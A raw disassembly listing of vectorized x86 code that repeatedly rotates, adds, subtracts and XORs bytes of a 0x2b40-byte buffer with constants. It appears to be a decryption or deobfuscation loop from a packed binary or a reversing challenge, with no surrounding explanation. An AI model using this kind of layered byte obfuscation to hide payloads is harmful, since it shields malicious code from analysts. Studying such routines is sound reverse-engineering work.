vpsllw ymm4, ymm4, 6
vpand ymm4, ymm4, ymm0
vpsrlw ymm6, ymm6, 2
vpandn ymm6, ymm0, ymm6
vmovdqa ymm0, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x494720]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x494740]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm1
vpaddb ymm4, ymm4, ymmword [str.pppppppppppppppppppppppppppppppp_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r]
vpbroadcastb ymm1, byte [0x416ae2]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm1
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vmovdqa ymm3, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm2
vpxor xmm2, xmm2, xmm2
vpsubb ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x416ae0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x494780]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4947a0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x4947c0]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm1
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm1, ymm6
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4165a0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpcmpeqd ymm5, ymm5, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [str.55555555555555555555555555555555]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af2]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm2, ymm4
vpbroadcastb ymm2, byte [0x416ae3]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm5
vpaddb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpxor ymm6, ymm0, ymm5
vpaddb ymm4, ymm4, ymm6
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4947e0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af3]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm6, ymm0, ymm3
vpaddb ymm4, ymm6, ymm4
vpaddb ymm4, ymm4, ymmword [0x416200]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm3, ymm5
vpbroadcastb ymm3, byte [0x416adf]
vpaddb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm5
vpbroadcastb ymm5, byte [0x416ae6]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpcmpeqd ymm3, ymm3, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x494800]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x494820]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [str.44444444444444444444444444444444]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x494860]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af4]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpbroadcastb ymm2, byte [0x416ae2]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af5]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4948a0]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x416adf]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416ade]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x416af6]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x416700]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4948c0]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor xmm6, xmm6, xmm6
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x494700]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4948e0]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [esp + 0x30]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [str.HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH]
vpsllw ymm4, ymm4, 5
vpand ymm4, ymm4, ymm2
vpsrlw ymm6, ymm6, 3
vpandn ymm6, ymm2, ymm6
vpbroadcastb ymm2, byte [0x416af7]
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x494920]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm1
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm1, ymm6
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm2, ymm4
vmovdqa ymm2, ymm5
vmovdqa ymm2, ymm3
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x494940]
vpsrlw ymm6, ymm4, 7
vpand ymm6, ymm6, ymmword [0x416240]
vpaddb ymm4, ymm4, ymm4
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpaddb ymm6, ymm4, ymmword [0x494960]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm1
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm1, ymm6
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x494980]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x416ae6]
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x416aa0]
vmovdqu ymm5, ymmword [esp + 0x10]
vpaddb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [str.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm5, ymm0
vpaddb ymm0, ymm0, ymmword [0x416780]
vpsubb ymm4, ymm6, ymm4
vpaddb ymm4, ymm4, ymmword [0x4949c0]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4949e0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm5
vmovdqu ymmword [esp + eax + 0xcc], ymm4
add eax, 0x20
cmp eax, 0x2b40
jne 0x403820
vpbroadcastq xmm3, qword [str._ABCDEFG]
mov ecx, dword [esp + 4]
mov eax, 0x2b40
nop word cs:[eax + eax]
vmovq xmm7, qword [esp + eax + 0xcc]
vpbroadcastb xmm5, byte [0x416ade]
vpbroadcastb xmm2, byte [0x416adf]
vpbroadcastb xmm4, byte [0x416ae2]
vpbroadcastb xmm0, byte [0x416ae3]
vpaddb xmm7, xmm7, xmm5
vpbroadcastb xmm5, byte [0x416ae1]
vpsrlw xmm6, xmm7, 6
vpsllw xmm7, xmm7, 2
vpandn xmm6, xmm2, xmm6
vpand xmm7, xmm7, xmm2
vpcmpeqd xmm2, xmm2, xmm2
vpor xmm6, xmm7, xmm6
vpaddb xmm6, xmm6, xmm5
vpbroadcastb xmm5, byte [0x416ae4]
vpsrlw xmm7, xmm6, 3
vpsllw xmm6, xmm6, 5
vpandn xmm7, xmm4, xmm7
vpand xmm6, xmm6, xmm4
vpor xmm6, xmm6, xmm7
vpxor xmm6, xmm6, xmm2
vpaddb xmm2, xmm3, xmm3
vpsrlw xmm7, xmm6, 7
vpaddb xmm6, xmm6, xmm6
vmovdqu xmmword [esp + 0x10], xmm2
vpand xmm7, xmm7, xmm0
vpor xmm6, xmm6, xmm7
vpaddb xmm6, xmm6, xmm3
vpsubb xmm6, xmm5, xmm6
vpsrlw xmm7, xmm6, 3
vpsllw xmm6, xmm6, 5
vpandn xmm7, xmm4, xmm7
vpand xmm6, xmm6, xmm4
vpbroadcastb xmm4, byte [0x416ae0]
vpor xmm6, xmm6, xmm7
vpsubb xmm6, xmm6, xmm3
vpaddb xmm6, xmm6, xmmword [0x494a20]
vmovdqa xmm1, xmm4
vpsrlw xmm7, xmm6, 1
vpsllw xmm6, xmm6, 7
vpandn xmm7, xmm4, xmm7
vpand xmm6, xmm6, xmm4
vpor xmm6, xmm6, xmm7
vpaddb xmm6, xmm6, xmmword [0x494a30]
vpsrlw xmm7, xmm6, 7
vpaddb xmm6, xmm6, xmm6
vpand xmm7, xmm7, xmm0
vpor xmm6, xmm6, xmm7
vpbroadcastb xmm7, byte [0x416ae5]
vpaddb xmm6, xmm2, xmm6
vpaddb xmm6, xmm6, xmmword [0x494a40]
vpsrlw xmm5, xmm6, 5
vpsllw xmm6, xmm6, 3
vpandn xmm5, xmm7, xmm5
vpand xmm6, xmm6, xmm7
vpor xmm5, xmm6, xmm5
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm0
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416ae7]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416ae8]
vpaddb xmm5, xmm2, xmm5
vpbroadcastb xmm2, byte [0x416ae6]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm6, xmm5, xmmword [0x494a50]
vpsllw xmm5, xmm5, 6
vpand xmm5, xmm5, xmm2
vpsrlw xmm6, xmm6, 2
vpandn xmm6, xmm2, xmm6
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416ae9]
vpaddb xmm5, xmm5, xmm3
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm0
vpbroadcastb xmm0, byte [0x416ae2]
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [0x416a20]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmmword [0x416a90]
vpaddb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [str._n_n_n_n_n_n_n_n]
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vmovdqa xmm0, xmm4
vmovdqu xmm0, xmmword [esp + 0x10]
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [0x494a60]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm5, xmmword [0x494a70]
vpsllw xmm5, xmm5, 7
vpand xmm5, xmm5, xmm4
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm4, xmm6
vmovdqa xmm4, xmm2
vpcmpeqd xmm4, xmm4, xmm4
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416aea]
vpaddb xmm5, xmm5, xmm6
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm0, xmm5
vpaddb xmm5, xmm5, xmmword [0x494a90]
vpbroadcastb xmm0, byte [0x416adf]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpbroadcastb xmm0, byte [0x416ae2]
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416aeb]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vpcmpeqd xmm2, xmm2, xmm2
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm2
vpsubb xmm2, xmm3, xmm2
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vmovdqu xmmword [esp + 0x30], xmm2
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416aec]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm2, xmm5
vpbroadcastb xmm2, byte [0x416ae3]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416aed]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [str.yyyyyyyy]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm4
vpaddb xmm5, xmm3, xmm5
vpaddb xmm5, xmm5, xmmword [0x494ab0]
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm3, xmm4
vpaddb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 7
vpaddb xmm5, xmm5, xmm5
vpand xmm6, xmm6, xmm2
vpbroadcastb xmm2, byte [0x416aea]
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm3, xmm5
vpaddb xmm6, xmm5, xmmword [0x4168f0]
vpsllw xmm5, xmm5, 7
vpand xmm5, xmm5, xmm1
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm1, xmm6
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416aee]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpbroadcastb xmm0, byte [0x416adf]
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm4
vpxor xmm4, xmm4, xmm4
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416aef]
vpaddb xmm5, xmm5, xmm3
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm2, xmm5
vpbroadcastb xmm2, byte [0x416ae6]
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vpcmpeqd xmm2, xmm2, xmm2
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494ac0]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af0]
vpaddb xmm6, xmm3, xmm6
vpaddb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 7
vpand xmm6, xmm6, xmmword [0x4167a0]
vpaddb xmm5, xmm5, xmm5
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm2
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpbroadcastb xmm6, byte [0x416af1]
vpsubb xmm5, xmm6, xmm5
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm0, xmm6
vpand xmm5, xmm5, xmm0
vmovdqu xmm0, xmmword [esp + 0x10]
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm0
vpaddb xmm5, xmm5, xmmword [str.vvvvvvvv]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm4, xmm5
vpbroadcastb xmm4, byte [0x416ae6]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm2
vpaddb xmm5, xmm3, xmm5
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm2
vpbroadcastb xmm2, byte [0x416adf]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vmovdqa xmm2, xmm4
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm5, xmmword [str.tttttttt]
vpsllw xmm5, xmm5, 6
vpand xmm5, xmm5, xmm4
vpsrlw xmm6, xmm6, 2
vpandn xmm6, xmm4, xmm6
vpbroadcastb xmm4, byte [0x416ae2]
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494ae0]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494af0]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm3
vpaddb xmm5, xmm5, xmmword [str.pppppppp]
vpsrlw xmm6, xmm5, 3
vpsllw xmm5, xmm5, 5
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vpcmpeqd xmm4, xmm4, xmm4
vpor xmm5, xmm5, xmm6
vpxor xmm5, xmm5, xmm4
vpsubb xmm5, xmm5, xmm3
vpsrlw xmm6, xmm5, 2
vpsllw xmm5, xmm5, 6
vpandn xmm6, xmm2, xmm6
vpand xmm5, xmm5, xmm2
vmovdqa xmm2, xmm0
vpor xmm5, xmm5, xmm6
vpsubb xmm5, xmm5, xmm0
vpsubb xmm5, xmm5, xmm4
vpbroadcastb xmm4, byte [0x416adf]
vpsrlw xmm6, xmm5, 6
vpsllw xmm5, xmm5, 2
vpandn xmm6, xmm4, xmm6
vpand xmm5, xmm5, xmm4
vmovdqa xmm0, xmm4
vmovdqa xmm4, xmm1
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [str._r_r_r_r_r_r_r_r]
vpsrlw xmm6, xmm5, 1
vpsllw xmm5, xmm5, 7
vpandn xmm6, xmm1, xmm6
vpand xmm5, xmm5, xmm1
vpor xmm5, xmm5, xmm6
vpaddb xmm5, xmm5, xmmword [0x494b20]
vpsrlw xmm6, xmm5, 5
vpsllw xmm5, xmm5, 3
vpandn xmm6, xmm7, xmm6
vpand xmm5, xmm5, xmm7
vpor xmm5, xmm5, xmm6
vpaddb xmm6, xmm5, xmmword [0x494b30]
vpsllw xmm5, xmm5, 7
vpand xmm5, xmm5, xmm1
vpsrlw xmm6, xmm6, 1
vpandn xmm6, xmm1, xmm6
vpcmpeqd xmm1, xmm1, xmm1
vpor xmm5, xmm5, xmm6
